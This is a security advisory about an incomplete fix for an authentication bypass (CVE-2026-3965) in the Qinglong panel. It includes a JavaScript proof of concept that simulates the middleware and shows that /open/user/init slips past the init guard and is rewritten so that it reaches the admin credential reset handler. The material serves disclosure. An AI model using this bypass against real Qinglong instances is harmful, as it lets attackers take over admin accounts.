Qinglong has an incomplete fix for CVE-2026-3965: Improper Authentication

!['/api/user/init', '/api/user/notification/init'].includes(pathLower)

/**
 * CVE-2026-3965 - Qinglong Panel /open/user/init Auth Bypass
 *
 * The init guard middleware only checks /api/user/init paths.
 * But /open/user/init is whitelisted from JWT auth and rewritten
 * to /api/user/init via express-urlrewrite AFTER the guard.
 */

"use strict";

// Simulate the init guard middleware exactly as in the source
function initGuardMiddleware(reqPath, authInfo) {
  const pathLower = reqPath.toLowerCase();
  // Exact check from the vulnerable source
  if (!['/api/user/init', '/api/user/notification/init'].includes(pathLower)) {
    return { action: "next" }; // passes through
  }

  let isInitialized = true;
  if (
    Object.keys(authInfo).length === 2 &&
    authInfo.username === 'admin' &&
    authInfo.password === 'admin'
  ) {
    isInitialized = false;
  }

  if (isInitialized) {
    return { action: "block", code: 450, message: "Error" };
  } else {
    return { action: "next" };
  }
}

const authInfo = { username: "realAdmin", password: "str0ngP@ss!" };
console.log("System state: initialized (non-default credentials)");

// Test 1: Direct /api/user/init is blocked
const test1 = initGuardMiddleware("/api/user/init", authInfo);
console.log("\n[Test 1] PUT /api/user/init:");
console.log("  Guard result:", test1.action);
console.log("  Blocked:", test1.action === "block");

// Test 2: /open/user/init BYPASSES init guard
const test2 = initGuardMiddleware("/open/user/init", authInfo);
console.log("\n[Test 2] PUT /open/user/init:");
console.log("  Guard result:", test2.action);
console.log("  Bypassed guard:", test2.action === "next");

if (test2.action === "next") {
  const rewrittenPath = "/open/user/init".replace(/^\/open\//, "/api/");
  console.log("  After rewrite:", rewrittenPath);
  console.log("  Reaches init handler: true");
}

if (test1.action === "block" && test2.action === "next") {
  console.log("\nVULNERABILITY CONFIRMED: /open/user/init bypasses the init guard");
  console.log("An attacker can reset admin credentials on an initialized instance.");
  process.exit(0);
} else {
  console.log("\nVULNERABILITY NOT CONFIRMED");
  process.exit(1);
}